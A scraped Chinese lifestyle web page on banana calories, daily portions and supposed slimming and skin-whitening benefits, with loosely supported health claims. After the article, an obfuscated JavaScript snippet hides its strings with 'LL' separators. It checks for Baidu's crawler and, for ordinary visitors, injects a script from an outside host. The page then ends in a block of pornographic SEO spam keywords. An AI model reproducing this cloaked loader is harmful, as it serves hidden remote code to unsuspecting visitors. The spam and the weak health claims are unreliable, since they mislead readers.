當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

一根香蕉的熱量是多少我們能夠吃多少

2017-01-16 22:09:51  來源:360常識網(wǎng)   熱度:
導(dǎo)語:香蕉甜甜糯糯的口感非常招人喜歡。不過很多人覺得香蕉那么甜,吃多了肯多會胖,熱量肯定很高。其實(shí)香蕉不僅不會發(fā)胖還會幫助你減肥呢,那么

香蕉甜甜糯糯的口感非常招人喜歡。不過很多人覺得香蕉那么甜,吃多了肯多會胖,熱量肯定很高。其實(shí)香蕉不僅不會發(fā)胖還會幫助你減肥呢,那么一根香蕉的卡路里是多少呢?

一個香蕉的熱量有多少?

單個香蕉的熱量一般為90卡路里左右,所以但從卡路里上來說可能并沒有瘦身的優(yōu)勢,但是事實(shí)證明只要合理食用香蕉的話,是會有明顯的瘦身效果的,醫(yī)生介紹,雖然香蕉瘦身效果較為理想,但是并不是所有人都適用的,其中寒性體質(zhì)、糖尿病患者、腎病患者、空腹人群是不適合吃香蕉的,以免會發(fā)生反效果!

一天可以吃多少香蕉

香蕉的種類不同可能含有卡路里情況也是不同的,另外減肥者需要注意如果食用香蕉的話就不要再吃其他卡路里過高的食物了,正常情況下一天最多可以吃3-4根香蕉,并且如果減肥者屬于腸胃不適或者患有腸胃疾病的話,就不建議吃香蕉了,可以考慮其他物質(zhì)幫助減肥。

減肥也需補(bǔ)充適量糖分

香蕉含糖量屬于較高的水果,但是減肥患者也需要適當(dāng)補(bǔ)充糖分,如果糖份不足的話就會出現(xiàn)低血糖的癥狀,患者會眩暈,尤其是在夏季,身體能量代謝較快,很有可能因?yàn)闋I養(yǎng)補(bǔ)劑不及時而發(fā)生暈倒的情況,此外,橡膠的美白效果也是比較明顯的,很多人愿意用香蕉做面膜,并且沒有任何副作用(對香蕉過敏的群體除外),如果您因?yàn)闇p肥而出現(xiàn)身體免疫力降低的情況也可以多吃點(diǎn)香蕉,有助于維生素A的補(bǔ)充!

一個香蕉的熱量有多少?香蕉雖然是減肥效果較好的水果,但是過度食用也是不利于我們健康的,最明顯的就是導(dǎo)致血糖上升,有些人擔(dān)心香蕉表皮變黑是否還能吃,事實(shí)證明這種變化一般是不會對人體產(chǎn)生不良反應(yīng)的,但是如果果肉變質(zhì)的話,就不建議吃了!

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品一区二区三区在线视频| 国产精品特黄毛片| 成人区人妻精品一区二区不卡网站 | 精品无人区麻豆乱码1区2区新区 | 成人午夜亚洲精品无码网站| 亚洲国产精品18久久久久久| 久久精品免视看国产成人| aaa级精品久久久国产片| 国产精品久久久久久久久软件| 国内精品一级毛片免费看 | 99热精品在线观看| 国产精品色午夜视频免费看| 91亚洲精品麻豆| 久久久精品午夜免费不卡| 亚洲一区二区三区国产精品| 久久国产精品99国产精| 亚洲精品白色在线发布| 久久久久亚洲精品影视| 99久久精品国产高清一区二区| 四虎AV永久在线精品免费观看| 国产v精品成人免费视频400条| 99re6这里有精品热视频在线 | 国产精品李雅在线观看| 免费精品国产日韩热久久| 99热在线精品观看| 国产精品日本一区二区在线播放| 久久99精品久久久久久野外| 无码国产亚洲日韩国精品视频一区二区三区 | 亚洲精品中文字幕无码蜜桃| 国产高清在线精品一区二区| 国产成人麻豆精品午夜福利在线 | 日本精品无码一区二区三区久久久| 91精品国产一区| 99精品视频观看| 国产成人无码久久久精品一 | 国产精品亚洲一区二区三区在线| 亚洲AV日韩精品一区二区三区| 国产精品任我爽爆在线播放 | 久久久久久国产精品无码超碰| 国产精品igao视频网| 久久91综合国产91久久精品|